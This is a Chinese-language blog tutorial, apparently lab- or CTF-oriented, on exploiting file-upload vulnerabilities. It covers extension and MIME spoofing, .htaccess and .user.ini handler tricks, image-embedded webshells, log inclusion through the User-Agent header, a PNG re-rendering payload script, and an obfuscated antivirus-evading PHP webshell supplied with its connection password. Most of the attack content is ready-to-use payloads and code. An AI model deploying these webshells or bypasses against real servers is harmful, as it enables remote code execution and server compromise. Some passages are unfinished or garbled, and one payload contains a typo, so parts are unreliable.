浅淡文件上传

文件上传的原理:

就是web对用户上传的文件没有进行有效的审查,或者说存在一定的文件逻辑错误,从而用户可以上传恶意的文件来控制。

文件上传的利用点:

第一,修改文件后缀

在web中可能对一些的文件后缀加上了黑名单,所以,我们可以采用bp抓包来修改他的数据。对上面的一些黑名单进行过滤;

第二,修改类型

有时候,前端会对我们上传的文件进行类型审查,我们使用bp抓包进行类型修改重放;

还有一个点是MIME的检测,比如:

要改一下MIME类型:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
第三,添加配置文件

配置文件的作用在于优先解析我们上传的文件,这样可以绕过一些的文件过滤,常见的配置文件

ini,htaccess等的配置文件

常见的ini配置文件内容有:

auto_prepend_file=1.png

htaccess配置文件:

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
第四,上传图片马

有时候文件上传需要我们上传图片的文件,这时候我们需要上传我们的图片马,我们使用010的软件,在后面的ascll码后面添加我们的一句话木马等;

第五,绕过字样

我们可以使用Fuzz测试来查看到底过滤了什么东西,同时对PHP的一些符号进行绕过,比如:

【】使用{}来绕过,短标签绕过,括号绕过,以及PHP字母绕过等等,如果绕过的字样过多,我们可以不使用一句话木马的后门,直接进行命令调用,比如:

<?=`tac ../flag*`?>

反引号``:PHP尝试将反引号中的内容作为shell命令来执行,并将其输出信息返回。

第六,日志包含

有时候,我们无法正常的上传一句话木马,我们可以考虑使用日志包含,通过访问一个地址,UA头改为后门代码,利用.user.ini包含日志文件,去触发访问者UA头里面的后门代码。

在这种思路下,我们需要考虑日志文件所在的地址,日志文件根据中间件决定,nginx日志路径/var/log/nginx/

我们使用:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传完这个中间件之后,我们可以修改UA头进行我们的命令;后门代码直接放入UA头里,上传。

第七,修改图片检测格式

拿png来作为例子,我们在前面修改他的后缀就绕过一些黑名单的限制;但是在一些更高级的场景下,他是直接检测你的文件头部是否为图片格式文件;

GIF文件格式的版本号->GIF89a。

传恶意的文件来控制。

第八,远程文件包含

这里还需要完善

第九,图片的二次渲染

有的时候,我们上传的图片马是不是上传不了,因为web对我们的图片进行内容的检测;如果,我们还想要上传我们的图片马,这时候就需要我们的文件二次渲染;

这里有一个思路是:

首先,我们将1.png的图片马创建:

 <?php @eval($_POST['1']);?>

第二步,拿出大佬写的脚本,可以将图片渲染

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
​
​
​
$img = imagecreatetruecolor(32, 32);
​
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
​
imagepng($img,'1.png'); #保存在本地的图片马
?>
​

然后,我们将1.php和1.png的文件存放在phpstudy的127.0.0.1的靶场www的文件夹下。

随后,我们访问该文件夹下的1.png文件,发现我们的文件就被渲染了。

其中,还有一种方法:

我们在这个文件的目录下,cmd进入终端(记住要在这个文件目录下),输入:

php jpg二次渲染.php love.jpg

这样可以使得我们的脚本能够成功渲染我们的图片。然后就会生成一个payload_love.jpg的文件

第十,绕过免杀

有的文件上传含有免杀,这里有一个大佬的免杀木马:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU

绕过免杀的方法还有一个日志包含(目前知道的)

上传 .htaccess 文件但有getimagesize、exif_imagetype函数的检查,可以用#define width 1#define height 1定义

#define width 1
#define height 1
AddType applocation/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.php" 
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值